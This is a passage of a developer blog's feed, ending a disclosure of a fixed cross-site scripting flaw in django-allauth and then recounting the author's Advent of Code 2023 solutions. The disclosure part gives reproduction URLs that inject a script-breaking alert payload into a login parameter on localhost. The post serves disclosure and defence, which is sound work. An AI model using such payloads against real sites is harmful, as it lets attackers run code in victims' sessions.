&lt;li&gt;&lt;p&gt;While logged out, go to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;http://127.0.0.1:8000/accounts/login/?scope=&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/dd&gt;
&lt;dt&gt;XSS in social connections page:&lt;/dt&gt;
&lt;dd&gt;&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;http://127.0.0.1:8000/accounts/login/&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Log in with the user you created.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;http://127.0.0.1:8000/accounts/3rdparty/?scope=&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Showing an alert is just a simple example,
but an attacker can execute any JavaScript code in the context of the user's session.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="mitigation"&gt;
&lt;h2&gt;Mitigation&lt;/h2&gt;
&lt;p&gt;You should never mark user-controlled content as safe,
but if you find yourself wanting to include JSON content in a template,
escaping will break the JSON format.&lt;/p&gt;
&lt;p&gt;Luckily, Django has a built-in template filter to include JSON content in a template safely,
&lt;a class="reference external" href="https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#json-script"&gt;json_script&lt;/a&gt;.
Sadly, that filter wasn't available at the moment the allauth code was written, but it's been available since Django 2.1,
since allauth supports newer versions of Django,
it was possible to use it, as you can see in the &lt;a class="reference external" href="https://github.com/pennersr/django-allauth/commit/8fead343c1d3e75cc842e0ee1e21a39c6d145155"&gt;fix&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;11/07/2024:&lt;/strong&gt; Found and reported the vulnerability to django-allauth.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;12/07/2024:&lt;/strong&gt; Maintainer confirmed the vulnerability and released version 0.63.6 with the fix.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="acknowledgements"&gt;
&lt;h2&gt;Acknowledgements&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;I'm always surprised by how quickly open source maintainers fix security vulnerabilities
(so much faster than commercial software vendors), kudos to &lt;a class="reference external" href="https://github.com/pennersr/"&gt;Raymond Penners&lt;/a&gt;, maintainer of django-allauth.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It's also great I have the support at Read the Docs to spend part of my work time on security audits on packages we use.
Even if the vulnerabilities don't affect our systems directly (we don't use the Facebook provider),
it's nice to have the chance to give back to the community.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Are you still using django-allauth &lt;code class="docutils literal"&gt;&amp;lt;0.63.6&lt;/code&gt;? The fix was released more than 6 months ago, please update your dependencies!
Thank you for reading, and let me know if you'd like to see more posts like this!&lt;/p&gt;
&lt;/section&gt;</description><category>django</category><category>python</category><category>security</category><category>xss</category><guid>https://stsewd.dev/posts/xss-in-django-allauth-fb-provider/</guid><pubDate>Sun, 19 Jan 2025 05:00:00 GMT</pubDate></item><item><title>Advent of Code 2023 - solutions and my experience</title><link>https://stsewd.dev/posts/advent-of-code-2023/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;&lt;a class="reference external" href="https://adventofcode.com/"&gt;Advent of Code&lt;/a&gt; is a series of programming puzzles that are released every day in December up to Christmas.
Each day, two puzzles are released, the puzzles consist of a story and a set of input data,
and some examples of the expected output.&lt;/p&gt;
&lt;nav class="contents local" id="contents" role="doc-toc"&gt;
&lt;p class="topic-title"&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/advent-of-code-2023/#top"&gt;Contents&lt;/a&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/advent-of-code-2023/#the-start-of-a-journey" id="toc-entry-1"&gt;The start of a journey&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/advent-of-code-2023/#embracing-differences-as-your-new-friends" id="toc-entry-2"&gt;Embracing differences as your new friends&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/advent-of-code-2023/#my-daily-routine" id="toc-entry-3"&gt;My daily routine&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/advent-of-code-2023/#the-right-tools-for-the-job" id="toc-entry-4"&gt;The right tools for the job&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/advent-of-code-2023/#results-and-reflections" id="toc-entry-5"&gt;Results and reflections&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/advent-of-code-2023/#solutions" id="toc-entry-6"&gt;Solutions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/nav&gt;
&lt;section id="the-start-of-a-journey"&gt;
&lt;h2&gt;The start of a journey&lt;/h2&gt;
&lt;p&gt;This is my first time participating in Advent of Code,
I've heard about it before but never really put in the time to participate.
Problem solving using programming isn't something new to me,
I've participated in several &lt;a class="reference external" href="https://stsewd.dev/posts/devsucodejam-2019"&gt;programming competitions&lt;/a&gt; in the past,
and &lt;a class="reference external" href="https://github.com/stsewd/programming-problems-rust"&gt;I like solving problems&lt;/a&gt; from &lt;a class="reference external" href="https://www.hackerearth.com/@stsewd"&gt;HackerEarth&lt;/a&gt; or similar platforms from time to time.
But over the years I've been doing less and less of this,
so this was a good opportunity to get back to it!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="embracing-differences-as-your-new-friends"&gt;
&lt;h2&gt;Embracing differences as your new friends&lt;/h2&gt;
&lt;p&gt;Advent of code is a bit different from other platforms/contests I've used before.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;You don't need to submit your code; you only submit the answer for a given input.
This means no time or memory constraints, the limit is your hardware and your time!
But finding an efficient and general solution is part of the fun.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There isn't an explicit time limit, you can take as long as you want to solve the problems.
But it's nice to be able to solve the two parts of the problem on the day they are released.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You don't need to solve the problems from the previous days to unlock the next day,
but you do need to solve the first part of a problem to unlock its second part.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://adventofcode.com/2023/leaderboard"&gt;global ranking&lt;/a&gt; is only for the first 100 people that solved each problem.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These differences can be used to your advantage!&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Use any language you want with your favorite libraries, or any method you want.
Want to solve it by hand or &lt;a class="reference external" href="https://www.reddit.com/r/adventofcode/comments/189qs63/2023_day_3_a_successful_3rd_day_using_only_excel/"&gt;using Excel&lt;/a&gt;? Go ahead! Want to brute force the solution? Go ahead (if your program finishes before Christmas)!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Focus on solving the problem for just the given input, you don't need to worry about edge cases or generalizing your solution,
you can even search for patterns in the input.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="my-daily-routine"&gt;
&lt;h2&gt;My daily routine&lt;/h2&gt;
&lt;p&gt;My routine for each day was:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;Solve the first part in the morning (sometimes I read it at midnight and go dream about it).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solve the second part in the afternoon or evening.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;a class="reference external" href="https://www.reddit.com/r/adventofcode/"&gt;Reddit&lt;/a&gt; and see how other people solved the problem and check the memes.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The best part of solving the problems with people around the world
is that you can see how others solved the problems, and how they struggled with the same problems you did.
It's always nice to read solutions that are more efficient or elegant than yours,
or some unusual solutions that you didn't think of, and learn from them.&lt;/p&gt;
&lt;p&gt;I refrained from opening Reddit until I solved both parts of the problem,
not even checked the memes (they may include spoilers or hints of the solution).
This was a good motivator to solve the problems as soon as possible.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="the-right-tools-for-the-job"&gt;
&lt;h2&gt;The right tools for the job&lt;/h2&gt;
&lt;p&gt;The tools I used:&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;Python&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;I used Python without external libraries,
since there is a lot of useful stuff in the standard library,
and it has several data structures built-in.&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;Pen and paper&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Essential for writing notes, manually testing solutions,
exploring formulas, looking for patterns, etc.&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;Neovim&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;My editor of choice; I use Neovim, BTW.&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;I focused on solving the problems in the most efficient way I could think of, while trying to maintain readability.
Maintaining readability isn't always easy to maintain, since solutions are bound to how complex the problem is, algorithms used, etc.
You are basically dumping the solution that was in your brain into the code,
and sometimes it's hard to make sense of it later or for other people that aren't
familiar with the steps you took to solve the problem or the algorithms you used.&lt;/p&gt;
&lt;p&gt;Focusing on solving the problem efficiently led me to overthink some solutions sometimes,
ending with solutions that were more complex than they needed to be,
or slower than a simpler solution.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="results-and-reflections"&gt;
&lt;h2&gt;Results and reflections&lt;/h2&gt;
&lt;p&gt;I solved 39 out of the 50 problems.
Up to the 19th day, I was really focused and solved most of the problems on the same day they were released.
The last five days I dedicated less time to solve the problems,
to enjoy the holidays and do other things away from the computer.
The problems got more complex too, I gave up on some,
the last three I didn't even read them.&lt;/p&gt;
&lt;figure&gt;
&lt;a class="reference external image-reference" href="https://stsewd.dev/images/advent-of-code-2023/personal-leaderboard.png"&gt;
&lt;img alt="My personal leaderboard" src="https://stsewd.dev/images/advent-of-code-2023/personal-leaderboard.png"&gt;
&lt;/a&gt;
&lt;figcaption&gt;
&lt;p&gt;My personal leaderboard&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;I'm happy with most of my solutions, and I learned a lot from reading others' solutions.
It was great seeing that I wasn't that rusty,
and that I was able to solve most problems without being completely stuck,
lots of thinking, but never completely stuck.&lt;/p&gt;
&lt;p&gt;Participating in Advent of Code was a great experience, but exhausting too,
50 problems in 25 days is a lot, specially during the holidays.&lt;/p&gt;
&lt;p&gt;On the positive side, it made me think about solving problems more often,
and read more about algorithms and data structures, especially graph theory.
I might revisit the unsolved problems in the future.&lt;/p&gt;
&lt;p&gt;That's all from my experience, now let's talk about the problems!
If you haven't solved them yet, I encourage you to try before reading my solutions.&lt;/p&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;Are you curious about how to prepare for these type of problems,
the algorithms you need to know, etc?
I may revive an old post I started writing about this topic some years ago if there is enough interest.
Comment below if you are interested!&lt;/p&gt;
&lt;/aside&gt;
&lt;/section&gt;
&lt;section id="solutions"&gt;
&lt;h2&gt;Solutions&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;"Talk is cheap. Show me the code."&lt;/p&gt;
&lt;p class="attribution"&gt;—Linus Torvalds&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The solutions are in Python, the only dependency is &lt;code class="docutils literal"&gt;pytest&lt;/code&gt; for testing the solutions.
To run the program for a specific input file, pass it as the first argument (&lt;code class="docutils literal"&gt;python &amp;lt;file.py&amp;gt; &amp;lt;input.txt&amp;gt;&lt;/code&gt;).
The solution starts in the &lt;code class="docutils literal"&gt;solve()&lt;/code&gt; function.
You can check all solutions in &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023"&gt;https://github.com/stsewd/advent-of-code-2023&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;At continuation, I'll talk about each day and my solution for each part.
Note that this isn't a step-by-step guide to solving the problems,
but more of a general overview of my solution and my experience.
But I'll try to answer any questions you may have about my solutions in the comments.&lt;/p&gt;
&lt;p&gt;If you haven't solved the problems yet,
I encourage you to try before reading my solutions.&lt;/p&gt;
&lt;section id="day-01"&gt;
&lt;h3&gt;Day 01&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/1"&gt;https://adventofcode.com/2023/day/1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/01.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/01-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This was a nice problem to start with, it was easy to solve, and it was a nice warm-up for the next problems.&lt;/p&gt;
&lt;p&gt;For the first part, I iterated from left to right till I found the first number,
and then from right to left till I found the second number.&lt;/p&gt;
&lt;p&gt;For the second part, I iterated from left to right till I found the first number, either a digit or a word, and then from right to left.
I used string operations like &lt;code class="docutils literal"&gt;str.find&lt;/code&gt; and &lt;code class="docutils literal"&gt;str.rfind&lt;/code&gt;.
I was curious how fast was this compared to using regular expressions,
so I wrote a second solution using regular expressions (&lt;code class="docutils literal"&gt;solve2&lt;/code&gt;),
it turned out to be slightly faster than my initial solution!&lt;/p&gt;
&lt;p&gt;Some people had problems with the second part with overlapping words like &lt;code class="docutils literal"&gt;eighthree&lt;/code&gt;,
solving this problem replacing the words to numbers wouldn't work.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-02"&gt;
&lt;h3&gt;Day 02&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/2"&gt;https://adventofcode.com/2023/day/2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/02.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/02-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Another easy day.
For the first part, you needed to check that the number of cubes for a given color wasn't larger than the limit.&lt;/p&gt;
&lt;p&gt;For the second part, you needed to keep track of the largest number for each color.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-03"&gt;
&lt;h3&gt;Day 03&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/3"&gt;https://adventofcode.com/2023/day/3&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/03.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/03-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This day was also easy, a little long to write the solution, but still easy.&lt;/p&gt;
&lt;p&gt;For the first part, I tracked the start and end of each number,
and then used those positions to check if there was a symbol surrounding them.&lt;/p&gt;
&lt;p&gt;For the second part, I collected all the numbers' positions for each row,
and then iterated over each symbol and checked if it had exactly two numbers surrounding it.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-04"&gt;
&lt;h3&gt;Day 04&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/4"&gt;https://adventofcode.com/2023/day/4&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/04.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/04-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first part was easy, I used two sets and then intersected them to get the winner numbers.&lt;/p&gt;
&lt;p&gt;The second part, was a classic example of &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Dynamic_programming"&gt;dynamic programming&lt;/a&gt;, recursion and memoization to the rescue!
The only &lt;em&gt;problem&lt;/em&gt; I had here was forgetting to count the initial cards.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-05"&gt;
&lt;h3&gt;Day 05&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/5"&gt;https://adventofcode.com/2023/day/5&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/05.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/05-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the first part, I created a list with the ranges,
and for each seed I'd check if its value was in any of those ranges,
and convert it to the new number.
The answer is the minimum value of the final value of the seeds.&lt;/p&gt;
&lt;p&gt;For part two, I created a list with the ranges sorted for each mapping so it would be easier to match them later,
then I applied a similar logic as the first part, but instead of keeping track of a single value, I kept track of ranges.
This is, we first start with a range, then we transform that range into another range, and so on.
The answer is the minimum value of all the final ranges.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-06"&gt;
&lt;h3&gt;Day 06&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/6"&gt;https://adventofcode.com/2023/day/6&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/06.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/06-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For this problem, we need to find the times that beat the current record.
The &lt;em&gt;peak time&lt;/em&gt; (time pressing the button that allows us to travel as far a possible)
is the half of the allowed time, after the peak time the distance traveled decreases.&lt;/p&gt;
&lt;p&gt;With that in mind, we can count the distance traveled for each time from one to the peak time that beats the current record.
I first solved both parts by iterating over all those times till I found the best time,
but then I found that finding the best time can be done using a quadratic equation,
thus solving the problem in constant time,
but looping over was fast enough for the given input too.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-07"&gt;
&lt;h3&gt;Day 07&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/7"&gt;https://adventofcode.com/2023/day/7&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/07.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/07-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This problem requires a custom comparison between the two set of hands,
Python has a &lt;code class="docutils literal"&gt;functools.cmp_to_key&lt;/code&gt; function that can be used to compare two objects,
and can be used as the &lt;code class="docutils literal"&gt;key&lt;/code&gt; function for the sort/sorted functions.
Avoiding the need to create custom objects with a &lt;code class="docutils literal"&gt;__lt__&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;For the first part the comparison function was easy, just get the type for each hand and compare them,
to get the type of hand, we can use a &lt;code class="docutils literal"&gt;Counter&lt;/code&gt; to count the number of times each card appears in the hand.&lt;/p&gt;
&lt;p&gt;For the second part, I first got the type of the hand without the jokers,
and then &lt;em&gt;promoted&lt;/em&gt; the hand to the best possible hand with the jokers available.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-08"&gt;
&lt;h3&gt;Day 08&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/8"&gt;https://adventofcode.com/2023/day/8&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/08.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/08-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the first part I built a map of each node to its neighbors,
and then started from the node &lt;code class="docutils literal"&gt;AAA&lt;/code&gt; following the directions until I found the node &lt;code class="docutils literal"&gt;ZZZ&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For the second part, I built a list with all the start nodes,
then I was thinking of the best way to follow the directions concurrently for each node and check if all of them reached their end node,
I tested each node separately and found that after reaching their end node, each node will go back to their start node.
With that information, it was just a matter of remembering the mathematical function to calculate when all nodes will be at their end node at the same time,
that function is the least common multiple (&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Least_common_multiple"&gt;LCM&lt;/a&gt;) of the number of steps of each node's cycle.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-09"&gt;
&lt;h3&gt;Day 09&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/9"&gt;https://adventofcode.com/2023/day/9&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/09.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/09-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For this problem, I overthought the solution finding a formula, thinking it would pay off in the second part.
After writing some examples on paper, I found that the solutions followed the pattern of a &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Pascal's_triangle"&gt;Pascal's triangle&lt;/a&gt;
(at the time I didn't remember the name of the triangle, so I had to Google for "math triangle 1").&lt;/p&gt;
&lt;p&gt;For the second part, the problem just asked for the value of the start,
so it was a matter of doing the same operation, but with the list reversed.&lt;/p&gt;
&lt;p&gt;Probably wasted a lot of time, but I'm happy that I was able to solve the problem in linear time,
and that I was able to remember the name of the Pascal's triangle.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-10"&gt;
&lt;h3&gt;Day 10&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/10"&gt;https://adventofcode.com/2023/day/10&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/10.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/10-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This was problem was hard for me, I was stuck in the second part for 4 days.
But more than stuck, I think I was blocked, like I knew the solution was there, but was having a hard time implementing it.&lt;/p&gt;
&lt;p&gt;For the first part I started by trying to follow each valid path recursively,
but then I realized that there was just one valid path, so I just followed the first valid path I found.&lt;/p&gt;
&lt;p&gt;For the second part, I tried to think of different ways to fill the polygon,
but none of them seemed to work for all the cases.
The solution that worked for most cases was to try to fill the polygon from left to right pairing the vertical edges,
but I was having a hard time figuring out the rules to pair the edges.
After failing for several days, I decided to search for existing algorithms for filling a polygon.
I found the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Scanline_rendering"&gt;Scanline algorithm&lt;/a&gt;, and after &lt;a class="reference external" href="https://www.geeksforgeeks.org/scan-line-polygon-filling-using-opengl-c/"&gt;reading&lt;/a&gt; &lt;a class="reference external" href="https://www.cs.drexel.edu/~deb39/Classes/CS430/Lectures/L-05_Polygons.pdf"&gt;about it&lt;/a&gt; and understanding it, I was able to implement it in Python,
I'm happy that the solution I was trying to implement was similar to how this algorithm works,
but also I should have searched for this algorithm earlier. You live, you learn.&lt;/p&gt;
&lt;p&gt;After reading others' solutions, I found that there was an even simpler solution
using the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Pick's_theorem"&gt;Pick's theorem&lt;/a&gt; to get the number of points inside a polygon
(this came handy for Day 18!).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-11"&gt;
&lt;h3&gt;Day 11&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/11"&gt;https://adventofcode.com/2023/day/11&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/11.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/11-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I initially solved the first part expanding the grid,
but after reading the second part I realized that I could just keep track of the rows/columns that needed to be expanded,
and use that to calculate the final answer.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-12"&gt;
&lt;h3&gt;Day 12&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/12"&gt;https://adventofcode.com/2023/day/12&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/12.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/12-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I solved this problem by recursively testing what would be the result if each of the &lt;code class="docutils literal"&gt;?&lt;/code&gt; would be replaced by a &lt;code class="docutils literal"&gt;#&lt;/code&gt; or &lt;code class="docutils literal"&gt;.&lt;/code&gt;,
and instead of copying the rest of the string and group, I just passed their indexes to the function.
This solution was fast for the first part, for the second I had to implement a cache to avoid recalculating the same group twice,
the cache was per each row, it took around 4 seconds to complete, I saw other people applying the cache to the whole matrix,
I may try that later and see if it's faster.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="day-13"&gt;
&lt;h3&gt;Day 13&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Problem: &lt;a class="reference external" href="https://adventofcode.com/2023/day/13"&gt;https://adventofcode.com/2023/day/13&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Solution: &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/13.py"&gt;Part 1&lt;/a&gt;, &lt;a class="reference external" href="https://github.com/stsewd/advent-of-code-2023/blob/main/13-2.py"&gt;Part 2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Instead of doing the operations over the matrix,
I used a binary number to represent the state of each row and column,
then finding the line of reflection was just a matter of comparing numbers.&lt;/p&gt;
&lt;p&gt;For the second part, I brute forced the solution,
since I was using binary numbers, getting the possible combinations was
a matter of flipping the bits using a &lt;code class="docutils literal"&gt;XOR&lt;/code&gt; operation.&lt;/p&gt;
&lt;/section&gt;
